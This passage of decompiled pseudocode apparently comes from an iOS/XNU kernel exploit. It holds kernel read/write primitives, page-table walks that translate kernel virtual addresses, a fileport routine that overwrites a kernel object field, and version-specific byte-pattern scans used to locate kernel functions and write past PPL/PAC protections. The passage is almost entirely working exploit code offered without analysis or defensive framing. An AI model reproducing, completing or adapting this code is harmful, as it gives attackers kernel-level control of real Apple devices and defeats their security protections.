  v9 = get_task_context_size((__int64)a1);
  v7 = 163878;
  if ( !v9 )
    return v7;
  v10 = v12 + v9;
  if ( a2 )
  {
    v7 = read_two_consecutive_port_slots((__int64)a1, a2, v10, &v12);
    if ( !(uint32_t)v7 )
    {
      v12 = maybe_sptm_translate_kaddr(a1, v12);
      v7 = read_two_consecutive_port_slots((__int64)a1, a2, v12 + 32, &v12);
      if ( !(uint32_t)v7 )
      {
LABEL_20:
        if ( validate_kaddr_range((__int64)a1, v12) )
          return 0;
        else
          return 163878;
      }
    }
  }
  else
  {
    v7 = 163855;
    if ( kread_physmap_decorated(a1, v10, &v12) && kread_physmap_decorated(a1, v12 + 32, &v12) )
      goto LABEL_20;
  }
  return v7;
}

//----- (00000000000211F4) ----------------------------------------------------
__int64 __fastcall check_iogpu_krw_ready_type2(struct_krwCtx *a1, __int64 a2, unsigned __int64 a3, unsigned __int64 *a4)
{
  return check_iogpu_krw_ready_4(a1, a2, a3, 2, a4);
}

//----- (0000000000021200) ----------------------------------------------------
__int64 __fastcall fileport_kobj_vm_attr_check(struct_krwCtx *a1, int w1_0)
{
  __int64 v3; // x19
  int xnuMajorVersion; // w9
  unsigned __int64 v8; // x0
  mach_vm_address_t v9; // x21
  int v10; // [xsp+8h] [xbp-28h] BYREF
  mach_port_t a2; // [xsp+Ch] [xbp-24h] BYREF

  v3 = 163847;
  xnuMajorVersion = a1->xnuMajorVersion;
  if ( xnuMajorVersion > 8018 )
  {
    if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 && xnuMajorVersion != 8792 )
      return v3;
LABEL_12:
    if ( (unsigned int)j__fileport_makeport(w1_0, &a2) )
      return 163853;
    v8 = get_task_kobject_addr(a1, a2);
    if ( !v8 )
      return 163854;
    v9 = v8 + 20;
    if ( !kread_u32((__int64)a1, v8 + 20, &v10) )
      return 163855;
    if ( (unsigned int)(v10 - 1) > 9 )
      return 163857;
    if ( noppl_kwrite32((__int64)a1, v9, 0xFFFF) )
      return 0;
    return 163856;
  }
  if ( xnuMajorVersion == 6153 || xnuMajorVersion == 7195 )
    goto LABEL_12;
  return v3;
}

//----- (0000000000021304) ----------------------------------------------------
uint64_t __fastcall update_timer_lru_cache(__int64 a1)
{
  __int64 v2; // x20
  uint64_t result; // x0
  __int64 i; // x8
  __int64 v5; // x10

  v2 = *(uint64_t *)(a1 + 2152);
  result = mach_absolute_time();
  if ( v2 )
  {
    if ( (result - *(uint64_t *)(a1 + 2152)) * *(unsigned int *)(a1 + 604) / *(unsigned int *)(a1 + 608) < 0x12A153440LL )
      return result;
    for ( i = 0; i != 640; i += 40 )
    {
      v5 = a1 + 1512 + i;
      *(uint64_t *)(v5 + 32) = 0;
      *(__int128 *)v5 = 0u;
      *(__int128 *)(v5 + 16) = 0u;
    }
    result = mach_absolute_time();
  }
  *(uint64_t *)(a1 + 2152) = result;
  return result;
}

//----- (0000000000021388) ----------------------------------------------------
unsigned __int64 __fastcall krw_lookup_and_process_entry(struct_krwCtx *a1)
{
  unsigned __int64 result; // x0
  __int64 vars8; // [xsp+18h] [xbp+8h]

  result = lookup_or_resolve_kaddr((__int64)a1);
  if ( result )
  {
    return walk_task_context_to_kobj(a1, result);
  }
  return result;
}
// 213B8: variable 'vars8' is possibly undefined

//----- (00000000000213D4) ----------------------------------------------------
__n128 __fastcall pgtable_walk_full(__int64 a1, unsigned __int64 a2, __int64 a3, __int64 a4)
{
  __int64 v8; // x23
  unsigned __int64 v9; // x1
  unsigned __int64 v10; // x9
  __n128 result; // q0
  __int64 v12; // x24
  unsigned __int64 v13; // x25
  unsigned __int64 v14; // x23
  __int64 v15; // x26
  int v16; // w0
  unsigned __int64 v17; // x8
  unsigned __int64 v18; // x9
  unsigned __int64 v19; // x23
  int v20; // w10
  __int64 v21; // x11
  __int64 v22; // x11
  int v23; // w9
  unsigned __int64 v24; // x0
  unsigned __int64 v25; // x23
  int v26; // w8
  unsigned __int64 v27; // x1
  unsigned __int64 v28; // x9
  __int128 v29; // q1
  __int64 v30; // x23
  __int64 v31; // x24
  int has_flag; // w0
  int v33; // w8
  unsigned __int64 v34; // x8
  unsigned __int64 v35; // x25
  __int64 v36; // x11
  __int64 v37; // x8
  __int64 v38; // x8
  __int128 v39; // q1
  unsigned __int64 v40; // [xsp+0h] [xbp-50h] BYREF
  unsigned __int64 v41; // [xsp+8h] [xbp-48h] BYREF

  result.n128_u64[0] = 0;
  result.n128_u64[1] = 0;
  if ( !a3 )
    return result;
  v8 = 0;
  *(uint64_t *)(a3 + 32) = 0;
  *(__int128 *)a3 = 0u;
  *(__int128 *)(a3 + 16) = 0u;
  do
  {
    v9 = *(uint64_t *)(a1 + v8 + 1512);
    if ( !v9 )
      break;
    v10 = *(uint64_t *)(a1 + v8 + 1520);
    if ( v10 <= a2 && v10 + *(unsigned int *)(a1 + v8 + 1528) > a2 )
    {
      if ( kreadbuf_universal((struct_krwCtx *)a1, v9, 8u, (void *)(a1 + v8 + 1544), a4) )
      {
        result = *(__n128 *)(a1 + v8 + 1512);
        v29 = *(__int128 *)(a1 + v8 + 1528);
        *(uint64_t *)(a3 + 32) = *(uint64_t *)(a1 + v8 + 1544);
        *(__n128 *)a3 = result;
        *(__int128 *)(a3 + 16) = v29;
        return result;
      }
      break;
    }
    v8 += 40;
  }
  while ( v8 != 640 );
  if ( !*(uint64_t *)(a1 + 1488) )
  {
    v24 = krw_lookup_and_process_entry((struct_krwCtx *)a1);
    TRACE_DMAFAIL("pgtable_walk_full roots init ctx=%llx va=%llx ttbr0_pa_ptr=%llx off=%x page=%x flags=%x\n",
                  (unsigned long long)a1,
                  (unsigned long long)a2,
                  (unsigned long long)v24,
                  *(unsigned int *)(a1 + 360),
                  *(unsigned int *)(a1 + 384),
                  *(unsigned int *)a1);
    if ( !v24 )
      return result;
    v25 = v24;
    if ( !kread_physmap_decorated((struct_krwCtx *)a1, v24, &v41) )
    {
      TRACE_DMAFAIL("pgtable_walk_full roots init read0 failed ptr=%llx\n",
                    (unsigned long long)v24);
      return result;
    }
    if ( !kread_physmap_decorated((struct_krwCtx *)a1, v25 + *(int *)(a1 + 360), &v40) )
    {
      TRACE_DMAFAIL("pgtable_walk_full roots init read1 failed ptr=%llx off=%x root0=%llx\n",
                    (unsigned long long)(v25 + *(int *)(a1 + 360)),
                    *(unsigned int *)(a1 + 360),
                    (unsigned long long)v41);
      return result;
    }
    if ( *(uint32_t *)(a1 + 384) == 4096 )
      v26 = 512;
    else
      v26 = 2048;
    v28 = v40;
    v27 = v41;
    TRACE_DMAFAIL("pgtable_walk_full roots init root=%llx delta=%llx span=%x\n",
                  (unsigned long long)v27,
                  (unsigned long long)v28,
                  v26);
    *(uint64_t *)(a1 + 1488) = v27;
    *(uint64_t *)(a1 + 1496) = v28;
    *(uint32_t *)(a1 + 1504) = v26;
    map_physpage_for_kobj((struct_krwCtx *)a1, v27);
  }
  if ( *(uint32_t *)(a1 + 384) == 4096 || krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A8) )
  {
    v12 = *(uint64_t *)(a1 + 1488);
    v13 = *(uint64_t *)(a1 + 1496);
    v14 = translate_physmap_addr_via_segments(a1, v12, v13, v13);
    v15 = (a2 >> 27) & 0x7F8;
    v16 = kreadbuf_universal((struct_krwCtx *)a1, v12 + v15, 8u, &v41, a4);
    if ( !v16 )
      goto LABEL_58;
    v17 = v41;
    v18 = v41 & 3;
    if ( (v41 & 3) == 0 )
      goto LABEL_57;
    if ( v18 == 1 )
    {
      v19 = v14 + v15;
      v20 = 0x40000000;
      v21 = -1073741824;
LABEL_14:
      v22 = v21 & a2;
      *(uint64_t *)a3 = v19;
LABEL_15:
      *(uint64_t *)(a3 + 8) = v22;
      *(uint32_t *)(a3 + 16) = v20;
      *(uint8_t *)(a3 + 20) = v18;
      *(uint64_t *)(a3 + 32) = v17;
      if ( (v17 & 0x80) != 0 )
        v23 = 1;
      else
        v23 = 3;
      *(uint32_t *)(a3 + 24) = ((v17 >> 51) & 4 | v23) ^ 4;
      v16 = 1;
      goto LABEL_58;
    }
    if ( (v41 & 0x800000000000000LL) != 0 )
      *(uint32_t *)(a3 + 20) |= 0x100u;
    v19 = translate_physmap_addr_via_segments(a1, v12, v13, v17 & 0xFFFFFFFFF000LL) + ((a2 >> 18) & 0xFF8);
    v16 = kreadbuf_universal((struct_krwCtx *)a1, v19, 8u, &v41, a4);
    if ( v16 )
    {
      v17 = v41;
      v18 = v41 & 3;
      if ( (v41 & 3) == 0 )
        goto LABEL_57;
      if ( v18 == 1 )
      {
        v20 = 0x200000;
        v21 = -2097152;
        goto LABEL_14;
      }
      if ( (v41 & 0x800000000000000LL) != 0 )
        *(uint32_t *)(a3 + 20) |= 0x100u;
      v19 = translate_physmap_addr_via_segments(a1, v12, v13, v17 & 0xFFFFFFFFF000LL) + ((a2 >> 9) & 0xFF8);
      v16 = kreadbuf_universal((struct_krwCtx *)a1, v19, 8u, &v41, a4);
      if ( v16 )
      {
        v17 = v41;
        if ( (~(uint8_t)v41 & 3) == 0 )
        {
          LOBYTE(v18) = 3;
          v20 = 4096;
          v21 = -4096;
          goto LABEL_14;
        }
LABEL_57:
        v16 = 0;
      }
    }
  }
  else
  {
    if ( *(uint32_t *)(a1 + 384) != 0x4000 )
      return result;
    v30 = *(uint64_t *)(a1 + 1488);
    v31 = *(uint64_t *)(a1 + 1496);
    has_flag = krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A16_A17_MASK | KRW_CTX_FLAG_CPU_HIGH_CORE_CLUSTER);
    v33 = 2047;
    if ( !has_flag )
      v33 = 7;
    v16 = kreadbuf_universal((struct_krwCtx *)a1, v30 + 8 * ((unsigned __int64)(unsigned int)v33 & (a2 >> 36)), 8u, &v41, a4);
    TRACE_DMAFAIL("pgtable_walk_full 16k L0 va=%llx root=%llx delta=%llx idx=%llx read=%llx ok=%d desc=%llx high=%d\n",
                  (unsigned long long)a2,
                  (unsigned long long)v30,
                  (unsigned long long)v31,
                  (unsigned long long)((unsigned __int64)(unsigned int)v33 & (a2 >> 36)),
                  (unsigned long long)(v30 + 8 * ((unsigned __int64)(unsigned int)v33 & (a2 >> 36))),
                  v16,
                  (unsigned long long)v41,
                  has_flag);
    if ( !v16 )
      goto LABEL_58;
    v34 = v41;
    if ( (~(uint8_t)v41 & 3) != 0 )
      goto LABEL_57;
    if ( (v41 & 0x800000000000000LL) != 0 )
      *(uint32_t *)(a3 + 20) |= 0x100u;
    v35 = translate_physmap_addr_via_segments(a1, v30, v31, v34 & 0xFFFFFFFFC000LL) + ((a2 >> 22) & 0x3FF8);
    v16 = kreadbuf_universal((struct_krwCtx *)a1, v35, 8u, &v41, a4);
    TRACE_DMAFAIL("pgtable_walk_full 16k L1 va=%llx table=%llx idx=%llx read=%llx ok=%d desc=%llx\n",
                  (unsigned long long)a2,
                  (unsigned long long)(v34 & 0xFFFFFFFFC000LL),
                  (unsigned long long)((a2 >> 22) & 0x3FF8),
                  (unsigned long long)v35,
                  v16,
                  (unsigned long long)v41);
    if ( v16 )
    {
      v17 = v41;
      v18 = v41 & 3;
      if ( (v41 & 3) == 0 )
        goto LABEL_57;
      if ( v18 == 1 )
      {
        v20 = 0x2000000;
        v36 = -33554432;
      }
      else
      {
        if ( (v41 & 0x800000000000000LL) != 0 )
          *(uint32_t *)(a3 + 20) |= 0x100u;
        v35 = translate_physmap_addr_via_segments(a1, v30, v31, v17 & 0xFFFFFFFFC000LL) + ((a2 >> 11) & 0x3FF8);
        v16 = kreadbuf_universal((struct_krwCtx *)a1, v35, 8u, &v41, a4);
        TRACE_DMAFAIL("pgtable_walk_full 16k L2 va=%llx table=%llx idx=%llx read=%llx ok=%d desc=%llx\n",
                      (unsigned long long)a2,
                      (unsigned long long)(v17 & 0xFFFFFFFFC000LL),
                      (unsigned long long)((a2 >> 11) & 0x3FF8),
                      (unsigned long long)v35,
                      v16,
                      (unsigned long long)v41);
        if ( !v16 )
          goto LABEL_58;
        v17 = v41;
        if ( (~(uint8_t)v41 & 3) != 0 )
          goto LABEL_57;
        LOBYTE(v18) = 3;
        v20 = 0x4000;
        v36 = -16384;
      }
      v22 = v36 & a2;
      *(uint64_t *)a3 = v35;
      goto LABEL_15;
    }
  }
LABEL_58:
  if ( v16 )
  {
    result = *(__n128 *)a3;
    v37 = 0;
    while ( *(uint64_t *)(a1 + 1512 + v37) )
    {
      v37 += 40;
      if ( v37 == 640 )
        return result;
    }
    v38 = a1 + v37 + 1512;
    result = *(__n128 *)a3;
    v39 = *(__int128 *)(a3 + 16);
    *(uint64_t *)(v38 + 32) = *(uint64_t *)(a3 + 32);
    *(__n128 *)v38 = result;
    *(__int128 *)(v38 + 16) = v39;
  }
  return result;
}

//----- (000000000002183C) ----------------------------------------------------
int __fastcall pgtable_walk_wrapper(__int64 a1, unsigned __int64 a2, void *a3)
{
  return (int)pgtable_walk_full(a1, a2, (__int64)a3, 1).n128_u64[0];
}

//----- (0000000000021844) ----------------------------------------------------
unsigned __int64 __fastcall kaddr_to_phys_v1(__int64 a1, unsigned __int64 a2)
{
  int v4; // w0
  struct
  {
    __int128 v6[2];
    volatile __int64 v7;
  } out; // [xsp+0h] [xbp-40h] BYREF

  memset(&out, 0, sizeof(out));
  v4 = (int)pgtable_walk_full(a1, a2, (__int64)&out, 1).n128_u64[0];
  if ( v4 )
    return *(uint64_t *)(a1 + 392) & a2 | out.v7 & 0xFFFFFFFFC000LL;
  else
    return 0;
}
// 21878: variable 'v4' is possibly undefined

//----- (00000000000218A8) ----------------------------------------------------
unsigned __int64 __fastcall kaddr_to_phys_v2(__int64 a1, unsigned __int64 a2, __int64 a3)
{
  int v5; // w0
  struct
  {
    __int128 v7[2];
    volatile __int64 v8;
  } out; // [xsp+0h] [xbp-40h] BYREF

  memset(&out, 0, sizeof(out));
  v5 = (int)pgtable_walk_full(a1, a2, (__int64)&out, a3).n128_u64[0];
  if ( v5 )
    return *(uint64_t *)(a1 + 392) & a2 | out.v8 & 0xFFFFFFFFC000LL;
  else
    return 0;
}
// 218DC: variable 'v5' is possibly undefined

//----- (000000000002190C) ----------------------------------------------------
__int64 __fastcall free_entry_struct(int a1, uint64_t *a2)
{
  void *v3; // x0

  if ( !a2 )
    return 708609;
  v3 = (void *)a2[3];
  if ( v3 )
    free(v3);
  *(__int128 *)a2 = 0u;
  *((__int128 *)a2 + 1) = 0u;
  free(a2);
  return 0;
}

//----- (0000000000021960) ----------------------------------------------------
__int64 __fastcall validate_physmap_range_5(__int64 a1, vm_size_t **a2)
{
  __int64 v4; // x21
  vm_size_t *v5; // x0
  vm_size_t *v6; // x19
  vm_size_t v7; // x23
  __int64 v8; // x0
  __int64 v9; // x28
  __int64 v10; // x24
  unsigned __int64 v11; // x8
  __int128 *v12; // x3
  __int64 v13; // x25
  char *v14; // x8
  unsigned int v15; // w8
  unsigned __int64 v16; // x24
  vm_size_t v17; // x8
  __int64 v18; // x24
  __int64 v19; // x1
  __int64 v20; // x0
  char *v21; // x1
  __int64 *v22; // x23
  unsigned __int64 v23; // x8
  unsigned __int64 v24; // x25
  __int64 *v25; // x8
  int v26; // w8
  __int64 *v27; // x0
  __int64 *v28; // x1
  unsigned __int64 v29; // x8
  __int64 v30; // x26
  __int128 *v31; // x27
  unsigned int v32; // w9
  unsigned int v33; // w10
  int v34; // w9
  __int64 v35; // x25
  __int64 v36; // x27
  __int64 v37; // x8
  unsigned __int64 v38; // x23
  __int128 v39; // q1
  char *v40; // x1
  __int64 v42; // [xsp+0h] [xbp-F0h]
  vm_size_t size; // [xsp+8h] [xbp-E8h] BYREF
  __int64 v44[2]; // [xsp+10h] [xbp-E0h] BYREF
  __int128 v45[4]; // [xsp+20h] [xbp-D0h] BYREF
  __int128 v46[3]; // [xsp+60h] [xbp-90h] BYREF

  v4 = 708617;
  v5 = (vm_size_t *)calloc(0x20u, 1u);
  if ( v5 )
  {
    v6 = v5;
    v7 = *(uint64_t *)(a1 + 520);
    if ( v7 )
      goto LABEL_3;
    v16 = *(uint64_t *)(a1 + 6552);
    if ( v16 )
    {
LABEL_20:
      v9 = 163855;
      LODWORD(v8) = kread_physmap_decorated((struct_krwCtx *)a1, v16, &size);
      if ( (uint32_t)v8 )
      {
        v7 = v16;
        if ( !size )
          goto LABEL_67;
        v8 = validate_kaddr_range(a1, size);
        if ( v8 )
        {
          v17 = size;
          v7 = v16;
          if ( size )
          {
            while ( 1 )
            {
              v7 = v17;
              if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) )
              {
                LODWORD(v8) = krw_read_thunk((struct_krwCtx *)a1, v17, 48, v45);
                if ( !(uint32_t)v8 )
                  goto LABEL_43;
                LODWORD(v8) = krw_read_thunk((struct_krwCtx *)a1, *((uint64_t *)&v45[0] + 1) + 4LL, 16, v44);
                if ( !(uint32_t)v8 )
                  goto LABEL_43;
                v17 = *(uint64_t *)&v45[0];
              }
              else
              {
                LODWORD(v8) = krw_read_thunk((struct_krwCtx *)a1, v17, 40, v46);
                if ( !(uint32_t)v8 )
                  goto LABEL_43;
                LODWORD(v8) = krw_read_thunk((struct_krwCtx *)a1, *(uint64_t *)&v46[2] + 4LL, 16, v44);
                if ( !(uint32_t)v8 )
                  goto LABEL_43;
                v17 = *(uint64_t *)&v46[0];
              }
              if ( !(v44[0] ^ 0x403020100LL | v44[1]) )
                break;
              size = v17;
              if ( !v17 )
                goto LABEL_67;
            }
            if ( size )
            {
              v9 = 0;
              v7 = size;
              goto LABEL_109;
            }
          }
LABEL_67:
          v29 = *(uint64_t *)(a1 + 344) >> 43;
          if ( v29 <= 0x44A )
            v30 = 48;
          else
            v30 = 64;
          if ( v29 <= 0x44A )
            v31 = v46;
          else
            v31 = v45;
          v32 = *(uint32_t *)(a1 + 384);
          v33 = ((unsigned int)v30 | 0x5800) % v32;
          v34 = v32 - v33;
          if ( !v33 )
            v34 = 0;
          LODWORD(size) = v34 + (v30 | 0x5800);
          v8 = alloc_physmap_page(a1, (unsigned int *)&size);
          if ( !v8 )
          {
            v36 = 708617;
LABEL_108:
            v9 = v36;
            goto LABEL_109;
          }
          v35 = v8;
          v42 = (__int64)v31;
          if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) )
          {
            v36 = 163855;
            if ( kread_physmap_decorated((struct_krwCtx *)a1, v16, (unsigned __int64 *)v44) )
            {
              v36 = 0;
              *(uint64_t *)&v46[0] = v44[0];
              *((uint64_t *)&v46[0] + 1) = v35 + 24;
              *(uint64_t *)&v46[1] = (unsigned int)size - 24LL;
              HIDWORD(v46[2]) = 0;
              DWORD2(v46[1]) = 1;
              *(__int128 *)((char *)&v46[1] + 12) = xmmword_43460;
            }
          }
          else
          {
            v36 = 163855;
            if ( kread_physmap_decorated((struct_krwCtx *)a1, v16, (unsigned __int64 *)v44) )
            {
              v36 = 0;
              *(uint64_t *)&v45[0] = v44[0];
              *(__int128 *)((char *)v45 + 8) = xmmword_43450;
              *((uint64_t *)&v45[1] + 1) = (unsigned int)size - 40LL;
              *(uint64_t *)&v45[2] = v35 + 40;
              DWORD2(v45[2]) = 1;
              HIDWORD(v45[3]) = 0;
              *(__int128 *)((char *)&v45[2] + 12) = xmmword_43460;
            }
          }
          if ( !(uint32_t)v36 )
          {
            if ( (unsigned int)kwrite_with_retry(a1, v35, v42, v30) )
            {
              if ( krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
              {
                if ( (uint32_t)ppl_kwrite_physmap_checked((struct_krwCtx *)a1, v16, v35) )
                {
LABEL_86:
                  v36 = 0;
                  v7 = v35;
                  goto LABEL_108;
                }
              }
              else
              {
                LODWORD(v8) = kwrite64(a1, v16, v35);
                if ( (uint32_t)v8 )
                  goto LABEL_86;
              }
            }
            v36 = 163856;
          }
          LODWORD(v8) = map_shared_mem_and_transfer_data(a1, v35, (unsigned int)size);
          goto LABEL_108;
        }
        v7 = 0;
        v9 = 163857;
      }
      else
      {
LABEL_43:
        v7 = 0;
      }
LABEL_109:
      if ( (uint32_t)v9 )
        goto LABEL_117;
      *(uint64_t *)(a1 + 520) = v7;
LABEL_3:
      *v6 = v7;
      v6[1] = 0x200000014LL;
      v8 = (__int64)calloc(0x5800u, 1u);
      v9 = 708617;
      if ( v8 )
      {
        v10 = v8;
        v6[3] = v8;
        memset(v46, 0, sizeof(v46));
        memset(v45, 0, sizeof(v45));
        if ( v7 )
        {
          v9 = 163855;
          v11 = *(uint64_t *)(a1 + 344) >> 43;
          if ( v11 <= 0x44A )
            v12 = v46;
          else
            v12 = v45;
          if ( v11 <= 0x44A )
            v13 = 48;
          else
            v13 = 64;
          LODWORD(v8) = krw_read_thunk((struct_krwCtx *)a1, v7, v13, v12);
          if ( (uint32_t)v8 )
          {
            if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) )
              v14 = (char *)&v46[2] + 12;
            else
              v14 = (char *)&v45[3] + 12;
            v15 = *(uint32_t *)v14;
            if ( v15 > 0x3FF )
            {
              v9 = 708620;
            }
            else
            {
              *((uint32_t *)v6 + 4) = v15;
              if ( !v15
                || (LODWORD(v8) = krw_read_thunk((struct_krwCtx *)a1, v7 + v13, 22 * v15, (void *)v10), (uint32_t)v8) )
              {
                v4 = 0;
                *a2 = v6;
                return v4;
              }
            }
          }
        }
        else
        {
          v9 = 708609;
        }
      }
LABEL_117:
      free_entry_struct(v8, v6);
      return v9;
    }
    v8 = *(uint64_t *)(a1 + 6648);
    if ( !v8 )
    {
LABEL_116:
      v9 = 708625;
      goto LABEL_117;
    }
    if ( *(uint64_t *)(a1 + 344) >> 43 < 0x44Bu )
    {
      resolve_kernel_text_range(v45, (struct_krwCtx *)a1);
      if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8020, 119, 1023, 1023, 1023) )
        v21 = "0A 05 40 F9 2B 11 40 39";
      else
        v21 = "0B 05 40 F9 6C 11 40 39";
      v46[0] = v45[0];
      *(uint64_t *)&v46[1] = *(uint64_t *)&v45[1];
      v8 = kernel_pattern_scan((__int64)v46, v21, 0);
      if ( v8 )
      {
        v22 = (__int64 *)v8;
        v23 = *(uint64_t *)(a1 + 344);
        if ( v23 < XNU_VERSION_PACKED(7195, 0, 46, 0, 0) )
        {
          v27 = *(__int64 **)(a1 + 6648);
          if ( v23 < XNU_VERSION_PACKED(6153, 102, 2, 0, 0) )
            v28 = v22 - 2;
          else
            v28 = (__int64 *)((char *)v22 - 28);
LABEL_112:
          v8 = find_kernel_func(v27, v28);
          goto LABEL_113;
        }
        v24 = v8 - 64;
        if ( v8 - 4 >= (unsigned __int64)(v8 - 64) )
        {
          do
          {
            LODWORD(v8) = (unsigned __int64)macho_read_u32(*(__int64 **)(a1 + 6648), (__int64 *)((char *)v22 - 4));
            if ( (v8 & 0x9F000000) == 0x90000000 )
            {
              LODWORD(v8) = (unsigned __int64)macho_read_u32(*(__int64 **)(a1 + 6648), v22);
              if ( (v8 & 0xBFC00000) == 0xB9400000 )
                goto LABEL_111;
            }
            else if ( (uint32_t)v8 == -721215457 )
            {
              LODWORD(v8) = (unsigned __int64)macho_read_u32(*(__int64 **)(a1 + 6648), v22);
              if ( BYTE3(v8) == 88 )
              {
LABEL_111:
                v27 = *(__int64 **)(a1 + 6648);
                v28 = (__int64 *)((char *)v22 - 4);
                goto LABEL_112;
              }
            }
            v25 = v22 - 1;
            v22 = (__int64 *)((char *)v22 - 4);
          }
          while ( (unsigned __int64)v25 >= v24 );
        }
      }
    }
    else
    {
      macho_find_text_section(v8, v46);
      if ( krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) )
      {
        v18 = *(uint64_t *)(a1 + 7480);
        if ( v18 )
        {
LABEL_39:
          macho_find_text_section(v18, v45);
          v8 = kernel_pattern_scan(
                 (__int64)v45,
                 "1F 20 03 D5 .. .. .. .. .. .. .. .. .. .. .. .. 08 05 00 51 1F F9 03 71",
                 0);
          if ( v8 )
          {
            v8 = (unsigned __int64)find_kernel_func_by_branch(*(__int64 **)(a1 + 7480), (__int64 *)(v8 - 4), 0);
            if ( v8 )
            {
              v8 = macho_read_u64_thunk(*(uint64_t *)(a1 + 7480), v8 + 32);
              if ( v8 )
              {
                v19 = v8;
                v20 = *(uint64_t *)(a1 + 7480);
LABEL_102:
                v8 = macho_read_u64_thunk(v20, v19);
LABEL_113:
                v16 = v8;
                if ( v8 )
                  *(uint64_t *)(a1 + 6552) = v8;
LABEL_115:
                if ( v16 )
                  goto LABEL_20;
                goto LABEL_116;
              }
            }
          }
        }
        else
        {
          LODWORD(v8) = krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT);
          if ( (uint32_t)v8 )
          {
            v37 = *(uint64_t *)(*(uint64_t *)(a1 + 280) + 328LL);
            if ( v37 )
            {
              LODWORD(v44[0]) = 0;
              v38 = v37 & ~*(uint64_t *)(a1 + 392);
              while ( 1 )
              {
                v38 -= *(unsigned int *)(a1 + 384);
                LODWORD(v8) = kread_u32(a1, v38, v44);
                if ( !(uint32_t)v8 )
                  break;
                if ( LODWORD(v44[0]) == -17958193 )
                {
                  if ( v38 )
                  {
                    v8 = (__int64)calloc(0x128u, 1u);
                    if ( v8 )
                    {
                      v18 = v8;
                      krw_ctx_zero_fields((struct_a1 *)v8, a1);
                      v39 = *(__int128 *)(a1 + 336);
                      *(__int128 *)(v18 + 112) = *(__int128 *)(a1 + 320);
                      *(__int128 *)(v18 + 128) = v39;
                      *(uint64_t *)(v18 + 144) = *(uint64_t *)(a1 + 352);
                      *(uint32_t *)(v18 + 152) = *(uint32_t *)(a1 + 376);
                      *(uint32_t *)(v18 + 56) = *(uint32_t *)(a1 + 384);
                      LODWORD(v8) = iosurface_physmap_setup_bool(v18, 0, v38, 0);
                      if ( (uint32_t)v8 )
                      {
                        *(uint64_t *)(a1 + 7480) = v18;
                        goto LABEL_39;
                      }
                    }
                  }
                  break;
                }
              }
            }
          }
        }
      }
      else
      {
        v26 = *(uint32_t *)(a1 + 320);
        if ( v26 < 10002 )
        {
          if ( v26 <= 8795 )
            v40 = "3F 7D 01 A9 .. .. .. .. 5F 01 00 F9";
          else
            v40 = "00 E4 00 .. 20 01 00 AD .. .. .. .. 5F 01 00 F9";
          v45[0] = v46[0];
          *(uint64_t *)&v45[1] = *(uint64_t *)&v46[1];
          v8 = kernel_pattern_scan((__int64)v45, v40, 0);
          if ( v8 )
          {
            v8 = find_kernel_func(*(__int64 **)(a1 + 6648), (__int64 *)(v8 - 12));
            if ( v8 )
            {
              v19 = v8;
              v20 = *(uint64_t *)(a1 + 6648);
              goto LABEL_102;
            }
          }
        }
        else
        {
          v45[0] = v46[0];
          *(uint64_t *)&v45[1] = *(uint64_t *)&v46[1];
          v8 = kernel_pattern_scan((__int64)v45, "E0 03 13 AA 01 00 80 52 02 05 80 52 .. .. .. .. E0 03", 0);
          if ( v8 )
          {
            v8 = find_kernel_func(*(__int64 **)(a1 + 6648), (__int64 *)(v8 - 20));
            if ( v8 )
            {
              v19 = v8 + *(int *)(a1 + 360);
              v20 = *(uint64_t *)(a1 + 6648);
              goto LABEL_102;
            }
          }
        }
      }
    }
    v16 = 0;
    goto LABEL_115;
  }
  return v4;
}
// 21F64: variable 'v8' is possibly undefined
// 19B94: using guessed type __int64 __fastcall macho_read_u64_thunk(uint64_t, uint64_t);
// 43450: using guessed type __int128 xmmword_43450;
// 43460: using guessed type __int128 xmmword_43460;

//----- (0000000000022144) ----------------------------------------------------
bool __fastcall compare_krw_chunk_data(int a1, __int64 a2, void *__s2, size_t __n)
{
  __int64 v4; // x21
  __int64 v5; // x8
  unsigned int v7; // w22
  size_t v8; // x20
  int v9; // w23
  __int64 v10; // x24
  int v11; // w8
  uint64_t result; // x0
  bool v13; // zf

  if ( !a2 )
    return 0;
  v4 = *(uint64_t *)(a2 + 24);
  if ( !v4 )
    return 0;
  v5 = *(unsigned int *)(a2 + 16);
  if ( !(uint32_t)v5 || *(uint32_t *)(a2 + 8) != (uint32_t)__n )
    return 0;
  v7 = 0;
  v8 = (unsigned int)__n;
  v9 = *(uint32_t *)(a2 + 12) + __n;
  v10 = v5 - 1;
  do
  {
    v11 = memcmp((const void *)(v4 + v7), __s2, v8);
    result = v11 == 0;
    v7 += v9;
    if ( v11 )
      v13 = v10 == 0;
    else
      v13 = 1;
    --v10;
  }
  while ( !v13 );
  return result;
}

//----- (00000000000221E0) ----------------------------------------------------
size_t __fastcall lookup_and_copy_krw_chunk(int a1, __int64 a2, void *a3, size_t __n)
{
  size_t v4; // x19
  __int64 v6; // x23
  unsigned int v7; // w22
  unsigned int v9; // w8
  void *v10; // x23
  int v11; // w9
  void *v12; // x21
  size_t v13; // x20
  int (__cdecl *v14)(const void *, const void *); // x0

  v4 = 708609;
  if ( a2 )
  {
    v6 = *(uint64_t *)(a2 + 24);
    if ( v6 )
    {
      v7 = __n;
      if ( *(uint32_t *)(a2 + 8) == (uint32_t)__n )
      {
        if ( compare_krw_chunk_data(a1, a2, a3, __n) )
          return 0;
        v9 = *(uint32_t *)(a2 + 16);
        if ( v9 > 0x3FF )
          return 708620;
        v10 = (void *)(v6 + (*(uint32_t *)(a2 + 12) + v7) * v9);
        memcpy(v10, a3, v7);
        v11 = *(uint32_t *)(a2 + 12);
        ++*(uint32_t *)(a2 + 16);
        if ( v11 == 2 )
        {
          *((uint8_t *)v10 + *(unsigned int *)(a2 + 8)) = 2;
